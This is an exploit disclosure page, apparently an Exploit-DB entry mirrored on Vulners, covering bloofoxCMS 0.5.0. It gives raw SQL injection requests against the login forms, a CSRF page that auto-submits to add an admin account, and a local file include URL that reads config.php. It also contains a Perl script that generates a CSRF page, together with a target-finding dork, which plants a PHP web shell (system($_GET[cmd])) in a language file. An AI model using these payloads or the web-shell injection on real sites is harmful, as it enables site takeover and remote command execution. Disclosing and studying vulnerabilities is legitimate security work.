bloofox CMS 0.5.0 - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType
bloofox CMS 0.5.0 contains multiple security vulnerabilities including SQL injection, Cross Site Request Forgery, and Local File Include

                                                bloofoxCMS V0.5.0   - Multiple Vulnerabilties
===================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST
.:. Contact        : [[email protected]] , [[email protected]]
.:. Home           : http://www.iphobos.com/blog/
.:. Script         : http://www.bloofox.com/download.21.html
####################################################################

[1] Multiple Sql Injection
==========================
I. http://localhost/bloofox/index.php?login=true


POST /bloofox/index.php?login=true HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/bloofox/index.php?login=true
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

login=Login&password=IPHOBOS&username=\[SQL INJECTION]


II. http://localhost/bloofox/admin/index.php


POST /bloofox/admin/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/bloofox/admin/
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

action=login&password=IPHOBOS&username=\[SQL INJECTION]


[2] Cross Site Request Forgery
===============================

[Add Admin]

&#60;html&#62;
&#60;body onload=&#34;document.form0.submit();&#34;&#62;
&#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;
http://localhost/admin/index.php?mode=user&action=new&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;username&#34; value=&#34;Admin&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;password&#34; value=&#34;123456&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;pwdconfirm&#34; value=&#34;123456&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;3&#34; value=&#34;Admin&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;blocked&#34; value=&#34;0&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;deleted&#34; value=&#34;0&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;status&#34; value=&#34;1&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;login_page&#34; value=&#34;0&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;send&#34; value=&#34;Add User&#34;/&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;

[3] Local File Include
=======================
VULNERABILITY
##############
/admin/include/inc_settings_editor.php (line 56-69)

// show file
if(isset($_POST[&#34;fileurl&#34;])) {
    $fileurl = $_POST[&#34;fileurl&#34;];
}
if(isset($_GET[&#34;fileurl&#34;])) {
    $fileurl = &#34;../&#34;.$_GET[&#34;fileurl&#34;];
}

if(file_exists($fileurl)) {
    $filelength = filesize($fileurl);
    $readfile = fopen($fileurl,&#34;r&#34;);
    $file = fread($readfile,$filelength);
    fclose($readfile);
}



#########
EXPLOIT
#########

http://localhost/admin/index.php?mode=settings&page=editor&fileurl=config.php

####################################################################

#!/usr/bin/perl
########################################################################
# Title : bloofoxCMS V0.5.0 - Csrf inject php code
# Author : AtT4CKxT3rR0r1ST
# Contact : [[email protected]] , [[email protected]]
# Home : http://www.iphobos.com/blog/
# Script : http://www.bloofox.com/download.21.html
# Version : 0.5.0
# Dork : &#34;Powered by bloofoxCMS&#34;
# Vulnerability In Languages Editor
# Note : Can Edit Any File Php In Script Just Change Value[Director/file]
In Fileurl
use LWP::UserAgent;
use LWP::Simple;
system(&#34;cls&#34;);
print &#34;|----------------------------------------------------|\n&#34;;
print &#34;| bloofoxCMS V0.5.0 - Csrf inject php code |\n&#34;;
print &#34;| Coded by : AtT4CKxT3rR0r1ST |\n&#34;;
print &#34;| GREATS TO MY LOVE |\n&#34;;
print &#34;|----------------------------------------------------|\n&#34;;
sleep(2);
print &#34;\nInsert Target:&#34;;
$h = &#60;STDIN&#62;;
chomp $h;
$html = &#39;&#60;html&#62;
&#60;body onload=&#34;document.form0.submit();&#34;&#62;
&#60;form method=&#34;POST&#34; name=&#34;form0&#34;
action=&#34;&#39;.$h.&#39;/admin/index.php?mode=settings&page=editor&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;file&#34; value=&#34; &#60;?php system($_GET[cmd]); ?&#62; &#34;
&#60;input type=&#34;hidden&#34; name=&#34;fileurl&#34; value=&#34;languages/deutsch.php&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;fileurl&#34; value=&#34;../languages/deutsch.php&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;send&#34; value=&#34;Save&#34;/&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;&#39;;
sleep(1);
print &#34;Createing Done ...\n&#34;;
open(XSS , &#39;&#62;&#62;csrf.html&#39;);
print XSS $html;
close(XSS);
print &#34;Now Send csrf.html To Admin \n&#34;;
sleep(1);
print &#34;To Exploit [http://site/languages/deutsch.php?cmd= COMMAND] \n&#34;;


# Exploit-DB Note: Actually couldn&#39;t get the SQLi to trigger the CSRF does work.
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1